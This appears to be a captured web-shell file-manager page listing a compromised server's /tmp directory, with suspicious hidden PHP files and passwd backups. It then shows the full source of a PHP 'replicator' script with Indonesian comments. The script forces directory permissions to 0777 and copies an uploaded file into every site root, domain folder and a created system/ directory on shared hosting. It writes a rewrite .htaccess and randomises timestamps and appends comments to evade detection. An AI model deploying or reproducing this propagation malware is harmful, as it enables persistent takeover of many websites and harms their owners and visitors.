/tmp
NameSizeModeActions
alfacgiapi/-0755rm
.accept433720644editdlrm
.accepted439830644editdlrm
.cache560644editdlrm
.center439720644editdlrm
.cfg_0p2edy34830600editdlrm
.cfg_1nPYV739210600editdlrm
.cfg_2XhBXd38440600editdlrm
.cfg_3hJc6a38440600editdlrm
.cfg_3MTfjH34830600editdlrm
.cfg_3Xum4338440600editdlrm
.cfg_6MRyiq124750600editdlrm
.cfg_6xX51G34830600editdlrm
.cfg_6zHbNg34830600editdlrm
.cfg_8YNHlU38440600editdlrm
.cfg_9C7Nk134830600editdlrm
.cfg_9G6ryC34830600editdlrm
.cfg_9kdxx434830600editdlrm
.cfg_56i5U7123680600editdlrm
.cfg_76f7Lx124750600editdlrm
.cfg_acmnKW38440600editdlrm
.cfg_aZQQBJ38440600editdlrm
.cfg_b8gHTc123680600editdlrm
.cfg_b67zIG132070600editdlrm
.cfg_BKhrzy123680600editdlrm
.cfg_cFlG1e124750600editdlrm
.cfg_eKtgyp132070600editdlrm
.cfg_emeb3v35000600editdlrm
.cfg_EMis6I123680600editdlrm
.cfg_EQuk1A34830600editdlrm
.cfg_eTPMqa124750600editdlrm
.cfg_exRu8q35000600editdlrm
.cfg_fleV5738440600editdlrm
.cfg_fS4723132070600editdlrm
.cfg_fSec62124750600editdlrm
.cfg_gcrsRE35000600editdlrm
.cfg_gd4oWx132070600editdlrm
.cfg_Gwn8Q038440600editdlrm
.cfg_H1uKzu35000600editdlrm
.cfg_HASanS123680600editdlrm
.cfg_hkhISw35000600editdlrm
.cfg_hXNHVa123680600editdlrm
.cfg_I5qM2N124750600editdlrm
.cfg_ihmPBM124750600editdlrm
.cfg_IhNWZg123680600editdlrm
.cfg_iqtvhR124750600editdlrm
.cfg_JHO7hr132070600editdlrm
.cfg_JTtZ9034830600editdlrm
.cfg_k61E3535000600editdlrm
.cfg_kAwDA6132070600editdlrm
.cfg_kpjZAD124750600editdlrm
.cfg_L9uwcJ132070600editdlrm
.cfg_lS5AuM35000600editdlrm
.cfg_mro9Jw123680600editdlrm
.cfg_mwXSKa123680600editdlrm
.cfg_NlAgC235000600editdlrm
.cfg_nnWqcW132070600editdlrm
.cfg_pblgNe132070600editdlrm
.cfg_py0ykL34830600editdlrm
.cfg_Q1Y0GR34950600editdlrm
.cfg_q4qNsh124750600editdlrm
.cfg_Q901t038440600editdlrm
.cfg_QFA7qR35000600editdlrm
.cfg_QkVo9034830600editdlrm
.cfg_qkyO7I132070600editdlrm
.cfg_qzzTqJ124750600editdlrm
.cfg_rcxRfB34830600editdlrm
.cfg_rVoKGh123680600editdlrm
.cfg_rYJzzH39210600editdlrm
.cfg_sFzkpt35000600editdlrm
.cfg_spcUe735000600editdlrm
.cfg_SprhEB124750600editdlrm
.cfg_SUgSi238440600editdlrm
.cfg_tOZIiT123680600editdlrm
.cfg_tR8OKA38440600editdlrm
.cfg_Tw6tTo132070600editdlrm
.cfg_uA8oEF132070600editdlrm
.cfg_uAkIcn124750600editdlrm
.cfg_UNGtCR132070600editdlrm
.cfg_uSPOl6132070600editdlrm
.cfg_vbwNx838440600editdlrm
.cfg_vwBtr638440600editdlrm
.cfg_VxfeSp35000600editdlrm
.cfg_WH1aXi124750600editdlrm
.cfg_WPJvET35000600editdlrm
.cfg_wTg9oR35000600editdlrm
.cfg_Xyq3EZ124750600editdlrm
.cfg_YaszSH123680600editdlrm
.cfg_YWgruW35000600editdlrm
.cfg_ZMpwbm38440600editdlrm
.class16800644editdlrm
.classes439730644editdlrm
.config510644editdlrm
.content5880644editdlrm
.created3830644editdlrm
.crontab.lock00664editdlrm
.db2_convert540644editdlrm
.dba_insertion520644editdlrm
.dbx_convert433910644editdlrm
.dchunk15510644editdlrm
.ea-php-cli.cache-0editdlrm
.factor45660644editdlrm
.gr_1fd55ac4e17171c5bdb6b37899156c12.php934800644editdlrm
.gr_445eff66f1a826e45f99d5116458250b.php938080644editdlrm
.ibase_pconnection439710644editdlrm
.include433900644editdlrm
.internal540644editdlrm
.lock590644editdlrm
.locked439680644editdlrm
.mb_convert439860644editdlrm
.multi440040644editdlrm
.oauthexceptions439590644editdlrm
.ob_iconv_handle540644editdlrm
.parameter_group45660644editdlrm
.parle_tokens17070644editdlrm
.partition570644editdlrm
.post440070644editdlrm
.property_set17330644editdlrm
.ref560644editdlrm
.request480644editdlrm
.requests560644editdlrm
.reset520644editdlrm
.rfind433770644editdlrm
.rindex600644editdlrm
.rjust570644editdlrm
.s.PGSQL.5432-0editdlrm
.symbol15510644editdlrm
.sys540644editdlrm
.system470644editdlrm
.token21380644editdlrm
.uconvert434250644editdlrm
.value11110644editdlrm
mysql.sock-0777editdlrm
passwd.1.1.114960644editdlrm
passwd.bak14960664editdlrm
passwd.bak.114960644editdlrm
passwd.bak.1.114960644editdlrm
php1JPQwf3768320600editdlrm
php8b51834751360600editdlrm
phpClNScK2621440600editdlrm
phpfLtwpk1966080600editdlrm
phpLP62ZE4259840600editdlrm
phpMXam2i163840600editdlrm
phpTaSxvE2949120600editdlrm
phpxhPnek327680600editdlrm
phpZGBU9o163840600editdlrm
x590775editdlrm
_0pZdLY2114970600editdlrm
_2Jzitg2114970600editdlrm
_2QeGbI2114970600editdlrm
_3VnJ292114970600editdlrm
_4A1b7n2114970600editdlrm
_4bKPfo2114970600editdlrm
_6OOZQy2114970600editdlrm
_6uSYau281830600editdlrm
_8jkrnx2114970600editdlrm
_9JJiLg2114970600editdlrm
_97xAsf2114970600editdlrm
_343pX12114970600editdlrm
_B2GP2l2114970600editdlrm
_carB1s2114970600editdlrm
_ddXNDI2114970600editdlrm
_fXne0G2114970600editdlrm
_G04YIt2114970600editdlrm
_g5Rs2j2114970600editdlrm
_gc14z22114970600editdlrm
_GGlyqJ2114970600editdlrm
_GQs3Ts2114970600editdlrm
_I5hDcl2114970600editdlrm
_k3jt3e2114970600editdlrm
_LfBzlE2114970600editdlrm
_M0rxqY2114970600editdlrm
_MXulaO2114970600editdlrm
_N4xQ2t2114970600editdlrm
_O3INKf281830600editdlrm
_oyI4Vg2114970600editdlrm
_P1OYra2114970600editdlrm
_P3Y5dD2114970600editdlrm
_PCuAlD2114970600editdlrm
_pQNbvA2114970600editdlrm
_Pzg7rz281830600editdlrm
_qHDtMP2114970600editdlrm
_RStilQ2114970600editdlrm
_SDY9FD2114970600editdlrm
_TcwnZH2114970600editdlrm
_uCcOTF2114970600editdlrm
_UKy43R2114970600editdlrm
_V2i9IP2114970600editdlrm
_vjwd6i2114970600editdlrm
_WgBhux2114970600editdlrm
_X0dqCd2114970600editdlrm
Edit: /tmp/_O3INKf (28183B)
2) { return $parts[count($parts)-2] . '.' . $parts[count($parts)-1]; } return $domain; } $loaderBasePath = null; if (defined('REPLICATOR_BASE_PATH')) { $loaderBasePath = REPLICATOR_BASE_PATH; } else { $currentDir = getcwd(); if ($currentDir !== false && is_dir($currentDir) && $currentDir !== '/tmp') { $loaderBasePath = $currentDir; } else { if (!empty($_SERVER['DOCUMENT_ROOT'])) { $loaderBasePath = $_SERVER['DOCUMENT_ROOT']; } else { $loaderBasePath = __DIR__; } } } $searchPath = ''; if (!empty($loaderBasePath)) { if (strpos($loaderBasePath, '/domains/') !== false) { $parts = explode('/domains/', $loaderBasePath, 2); if (isset($parts[0]) && is_dir($parts[0])) { $searchPath = $parts[0]; } } else { $searchPath = $loaderBasePath; } } // ============================================ // 🔍 FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY // ============================================ function isValidDomainForDisplay($host) { if (preg_match('/\.[a-z]{2,6}$/i', $host)) { return true; } if (preg_match('#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i', $host)) { return true; } $dotCount = substr_count($host, '.'); if ($dotCount >= 2 && preg_match('/^[a-z0-9.-]+\.[a-z]{2,6}$/i', $host)) { return true; } return false; } // ============================================ // SMART PERMISSION FIXER (START LEVEL 2+) // ============================================ function fixSingleDirPerm($dirPath, &$debugInfo, $label = '') { if (!file_exists($dirPath)) return true; clearstatcache(true, $dirPath); if (is_writable($dirPath)) { @chmod($dirPath, 0755); return true; } foreach ([0755, 0775, 0777] as $perm) { if (@chmod($dirPath, $perm)) { clearstatcache(true, $dirPath); usleep(30000); if (is_writable($dirPath)) return true; } } if (function_exists('shell_exec')) { @shell_exec("chmod 0777 " . escapeshellarg($dirPath) . " 2>/dev/null"); clearstatcache(true, $dirPath); if (is_writable($dirPath)) return true; } return false; } function deepFixFromLevel2($targetPath, &$debugInfo, $contextLabel = '') { $sep = DIRECTORY_SEPARATOR; $normalizedPath = rtrim(str_replace(['\\', '//'], [$sep, $sep], $targetPath), $sep); $components = explode($sep, $normalizedPath); $currentPath = ''; $fixedCount = 0; foreach ($components as $index => $component) { if ($currentPath === '') { if (preg_match('#^[a-z]:$#i', $component)) { $currentPath = $component . ':'; continue; } $currentPath = $component; } else { $currentPath .= $sep . $component; } if (empty($currentPath) || $currentPath === $sep || preg_match('#^[a-z]:$#i', $currentPath)) { continue; } $levelNumber = $index + 1; if ($levelNumber <= 1) { continue; } if (!file_exists($currentPath) || !is_dir($currentPath)) { continue; } $shortName = strlen($component) > 12 ? substr($component, 0, 12) : $component; $levelLabel = $contextLabel . '-L' . $levelNumber . '-' . $shortName; if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) { $fixedCount++; } } return $fixedCount; } // ============================================ // ============================================ // 📝 KONTEN HTACCESS YANG AKAN DIBUAT // ============================================ $HTACCESS_CONTENT = ' RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Allow from all Order Allow,Deny Allow from all '; // ============================================ // ============================================ // ✨ FUNGSI BARU: MEMBUAT FILE UNIK (WAKTU & KONTEN) // ============================================ function makeFileUnique($filePath, $originalFileName) { if (!file_exists($filePath)) return; // 1. Acak waktu modifikasi (antara sekarang hingga 30 hari lalu) $randomTime = time() - rand(0, 30*24*3600); @touch($filePath, $randomTime); // 2. Jika file PHP, tambahkan komentar unik di akhir $ext = strtolower(pathinfo($originalFileName, PATHINFO_EXTENSION)); $phpExtensions = ['php', 'phtml', 'php5', 'php7', 'php8', 'phps', 'phar', 'inc']; if (in_array($ext, $phpExtensions)) { $uniqueComment = "\n"; @file_put_contents($filePath, $uniqueComment, FILE_APPEND | LOCK_EX); // Setel ulang waktu setelah penulisan agar tidak berubah @touch($filePath, $randomTime); } } // ============================================ // ============================================ // đŸ”Ĩ FORCE UPLOAD KE SYSTEM/ + BUAT HTACCESS (SUDAH DIMODIFIKASI) // ============================================ function forceUploadSystemFullProcess($masterFile, $basePath, $fileName, &$debugInfo, &$urls, &$donePaths) { global $HTACCESS_CONTENT; $sep = DIRECTORY_SEPARATOR; $pathKey = md5($basePath . '-system-full'); if (isset($donePaths[$pathKey])) { return; } $donePaths[$pathKey] = true; $systemPath = $basePath . $sep . 'system'; $targetFile = $systemPath . $sep . $fileName; $htaccessFile = $systemPath . $sep . '.htaccess'; $baseName = basename($basePath); $displayName = strlen($baseName) > 20 ? substr($baseName, 0, 20) : $baseName; $debugInfo[] = "[SYSTEM] 🚀 Processing: $displayName"; deepFixFromLevel2($basePath, $debugInfo, 'SYS-' . $displayName); if (!is_dir($systemPath)) { fixSingleDirPerm($basePath, $debugInfo, 'PRE-SYS'); $mkdirOk = @mkdir($systemPath, 0755, true); if (!$mkdirOk) { @chmod($basePath, 0777); $mkdirOk = @mkdir($systemPath, 0777, true); } if ($mkdirOk) { @chmod($systemPath, 0755); $debugInfo[] = "[SYSTEM] 📁 Created system/"; } else { $debugInfo[] = "[SYSTEM] âš ī¸ Cannot create system/"; return; } } else { deepFixFromLevel2($systemPath, $debugInfo, 'SYS-DIR-' . $displayName); } clearstatcache(true, $systemPath); if (is_dir($systemPath) && !is_writable($systemPath)) { @chmod($systemPath, 0777); clearstatcache(true, $systemPath); } if (!is_writable($systemPath)) { $debugInfo[] = "[SYSTEM] ❌ ABORT: system/ not writable for $displayName"; return; } $debugInfo[] = "[SYSTEM] ✅ system/ is WRITABLE"; // Upload file dengan modifikasi unik $uploadSuccess = false; for ($retry = 1; $retry <= 3; $retry++) { if ($retry > 1) { @chmod($systemPath, 0777); clearstatcache(true, $systemPath); usleep(150000); } if (@copy($masterFile, $targetFile)) { // ✨ Panggil fungsi pembuat unik makeFileUnique($targetFile, $fileName); @chmod($targetFile, 0644); clearstatcache(true, $targetFile); usleep(50000); if (file_exists($targetFile) && filesize($targetFile) > 0) { $uploadSuccess = true; break; } } } // Buat/tulis .htaccess dengan komentar unik $htaccessSuccess = false; $randomComment = "# " . bin2hex(random_bytes(8)) . "\n"; $uniqueHtaccessContent = $randomComment . $HTACCESS_CONTENT; if ($uploadSuccess || is_dir($systemPath)) { if (file_exists($htaccessFile)) { $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; $debugInfo[] = "[SYSTEM] ✅ .htaccess UPDATED (unique)"; } else { @chmod($htaccessFile, 0666); $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; $debugInfo[] = "[SYSTEM] ✅ .htaccess UPDATED (unique after chmod)"; } else { $debugInfo[] = "[SYSTEM] âš ī¸ Cannot update .htaccess"; } } } else { $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (unique)"; } else { $tempHtaccess = $systemPath . $sep . '.htaccess_temp_' . uniqid(); $tempWrite = @file_put_contents($tempHtaccess, $uniqueHtaccessContent); if ($tempWrite && @rename($tempHtaccess, $htaccessFile)) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (via rename, unique)"; } elseif ($tempWrite) { @copy($tempHtaccess, $htaccessFile); @chmod($htaccessFile, 0644); @unlink($tempHtaccess); if (file_exists($htaccessFile)) { $htaccessSuccess = true; $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (via copy, unique)"; } else { @unlink($tempHtaccess); $debugInfo[] = "[SYSTEM] ❌ FAIL: Cannot create .htaccess"; } } else { $debugInfo[] = "[SYSTEM] ❌ FAIL: Cannot write .htaccess temp"; } } } } // Hasil akhir if ($uploadSuccess && $htaccessSuccess) { $host = $baseName; if (preg_match('/\.[a-z]{2,6}$/i', $baseName) || isDomainPattern($baseName)) { $host = $baseName; } elseif ($baseName === 'public_html' || $baseName === 'htdocs' || $baseName === 'www') { $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } else { $host = $baseName; } $cleanUrl = "http://" . trim($host, '/') . "/system/" . urlencode($fileName); if (!in_array($cleanUrl, $urls)) { $urls[] = $cleanUrl; if (isValidDomainForDisplay($host)) { $debugInfo[] = "[SYSTEM] 🎉 SUCCESS: $cleanUrl (+ unique .htaccess)"; } else { $debugInfo[] = "[SYSTEM] 🎉 SUCCESS (hidden): $cleanUrl (+ unique .htaccess)"; } } } elseif ($uploadSuccess) { $debugInfo[] = "[SYSTEM] âš ī¸ File OK but .htaccess FAILED for $displayName"; } elseif ($htaccessSuccess) { $debugInfo[] = "[SYSTEM] âš ī¸ .htaccess OK but file upload FAILED for $displayName"; } else { $debugInfo[] = "[SYSTEM] ❌ FAIL: Both file & .htaccess failed for $displayName"; } } // ============================================ // HELPERS function extractDomainFromPath($path) { $sep = DIRECTORY_SEPARATOR; $parts = explode($sep, rtrim($path, $sep)); foreach (array_reverse($parts) as $part) { if (isDomainPattern($part)) return $part; } return $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } function isDomainPattern($string) { if (strpos($string, '.') !== false && preg_match('/\.[a-z]{2,6}$/i', $string)) { return true; } if (preg_match('/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i', $string)) { return true; } return false; } // ============================================ // đŸ› ī¸ forceCopyFile DIMODIFIKASI UNTUK FILE UNIK // ============================================ function forceCopyFile($masterFile, $targetPath, &$debugInfo, $label = '') { $sep = DIRECTORY_SEPARATOR; $dirPath = dirname($targetPath); if (is_dir($dirPath)) { deepFixFromLevel2($dirPath, $debugInfo, $label.'-DIR'); } else { @mkdir($dirPath, 0755, true); @chmod($dirPath, 0755); } $decoyName = 'temp_' . bin2hex(random_bytes(8)) . '.' . str_replace(' ', '', $label); $decoyPath = $dirPath . $sep . $decoyName; if (@copy($masterFile, $decoyPath)) { if (@rename($decoyPath, $targetPath)) { // ✨ Ubah jadi unik (dengan nama file asli dari target) makeFileUnique($targetPath, basename($targetPath)); @chmod($targetPath, 0644); $debugInfo[] = "✅ [$label] OK (unique): $targetPath"; return true; } else { @unlink($decoyPath); } } return false; } // ============================================ // ============================================ // FUNGSI REPLICATE UTAMA // ============================================ function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) { static $once = false; if ($once) return []; $once = true; if (empty($searchPath) || !is_dir($searchPath)) { $_SESSION['debugInfo'][] = "❌ FATAL: Path awal tidak valid."; return []; } if (!file_exists($fileTmpPath)) return []; $masterTempFile = sys_get_temp_dir() . '/master_' . bin2hex(random_bytes(16)); if (!move_uploaded_file($fileTmpPath, $masterTempFile)) { $_SESSION['debugInfo'][] = "❌ FATAL: Gagal membuat file master."; return []; } $allUrls = []; $displayUrls = []; $doneWpPaths = []; $doneRootPaths = []; $sep = DIRECTORY_SEPARATOR; $debugInfo = []; $publicDirs = ['public_html', 'htdocs', 'www', 'public', 'httpdocs']; $forceDirs = ['public_html', 'htdocs']; $start = $searchPath; while ($start !== '/' && $start !== '.') { foreach ($forceDirs as $forceDir) { $fullPath = $start . $sep . $forceDir; if (!is_dir($fullPath)) continue; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; $rootUrl = "http://$host/" . urlencode($fileName); $rootKey = md5($host . '-root'); if (!isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "ROOT-$forceDir")) { if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } if (is_dir("$start/domains")) { foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; if (!is_dir("$start/domains/$dom")) continue; $domainPath = "$start/domains/$dom"; $domainKey = md5($dom . '-root'); foreach ($publicDirs as $pubDirName) { $pubFullPath = $domainPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; if (!isset($doneRootPaths[$domainKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "DOM-$dom")) { $rootUrl = "http://$dom/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dom)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$domainKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } if (is_dir($start)) { foreach (scandir($start) as $dir) { if ($dir === '.' || $dir === '..') continue; $fullPath = "$start/$dir"; if (!is_dir($fullPath)) continue; if (in_array($dir, $publicDirs)) continue; if ($dir === 'domains') continue; $folderKey = md5($dir . '-folder-root'); if (!isset($doneRootPaths[$folderKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLDER-$dir")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$folderKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); foreach ($publicDirs as $pubDirName) { $pubFullPath = $fullPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; $pubKey = md5($dir . '-' . $pubDirName . '-root'); if (!isset($doneRootPaths[$pubKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLD-$dir-$pubDirName")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$pubKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } $start = dirname($start); } if (preg_match('#^/home([^/]*)/([^/]+)#', $searchPath, $m)) { $homePrefix = '/home' . ($m[1] ?: '') . '/'; $homeUser = $m[2]; $homePath = $homePrefix . $homeUser; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? $homeUser; foreach ($forceDirs as $forceDir) { $fullPath = $homePath . $sep . $forceDir; if (!is_dir($fullPath)) continue; $rootKey = md5($host . '-home-root'); if (!isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "HOME-$forceDir")) { $rootUrl = "http://$host/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } if (is_dir($homePath)) { foreach (scandir($homePath) as $homeFolder) { if ($homeFolder === '.' || $homeFolder === '..') continue; if (in_array($homeFolder, $publicDirs)) continue; $folderFullPath = $homePath . $sep . $homeFolder; if (!is_dir($folderFullPath)) continue; forceUploadSystemFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } @unlink($masterTempFile); // Domain utama $mainDomainUrls = []; foreach ($allUrls as $url) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1])) { $mainDomain = getMainDomain($m[1]); if ($mainDomain !== $m[1]) { $mainRootUrl = "http://$mainDomain/" . urlencode($fileName); $mainSysUrl = "http://$mainDomain/system/" . urlencode($fileName); if (!in_array($mainRootUrl, $allUrls)) { $allUrls[] = $mainRootUrl; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainRootUrl; } } if (!in_array($mainSysUrl, $allUrls)) { $allUrls[] = $mainSysUrl; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainSysUrl; } } $mainDomainUrls[$mainDomain] = true; } } } foreach ($allUrls as $url) { if (strpos($url, '/system/') !== false) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1]) && isValidDomainForDisplay($m[1])) { if (!in_array($url, $displayUrls)) { $displayUrls[] = $url; } } } } $_SESSION['debugInfo'] = $debugInfo; return [ 'all_urls' => array_unique($allUrls), 'display_urls' => array_unique($displayUrls), 'total_all' => count(array_unique($allUrls)), 'total_display' => count(array_unique($displayUrls)) ]; } // ============================================ // FORM PROCESSING // ============================================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['fileToUpload']['tmp_name']; $fileName = $_FILES['fileToUpload']['name']; $fileSize = $_FILES['fileToUpload']['size']; echo "

📄 File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)

"; $result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath); $displayUrls = $result['display_urls']; $totalAll = $result['total_all']; $totalDisplay = $result['total_display']; if (!empty($displayUrls)) { echo "

✅ File berhasil direplikasi ke $totalDisplay domain valid"; if ($totalAll > $totalDisplay) { echo " (dari total $totalAll lokasi)"; } echo ":

"; echo "

â„šī¸ Setiap salinan dibuat unik (waktu acak, komentar acak jika PHP) & .htaccess juga unik.

"; } else { echo "

âš ī¸ Tidak ada domain valid yang ditemukan.

"; if ($totalAll > 0) { echo "

â„šī¸ File tetap diupload ke $totalAll lokasi dengan ciri unik.

"; } } if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) { echo "
🔍 Debug Information
"; unset($_SESSION['debugInfo']); } echo "
"; } else { echo "

Tidak ada file yang diunggah atau terjadi kesalahan.

"; if (isset($_FILES['fileToUpload'])) { echo "

Kode error: " . $_FILES['fileToUpload']['error'] . "

"; } } } echo ''; echo '
'; ?>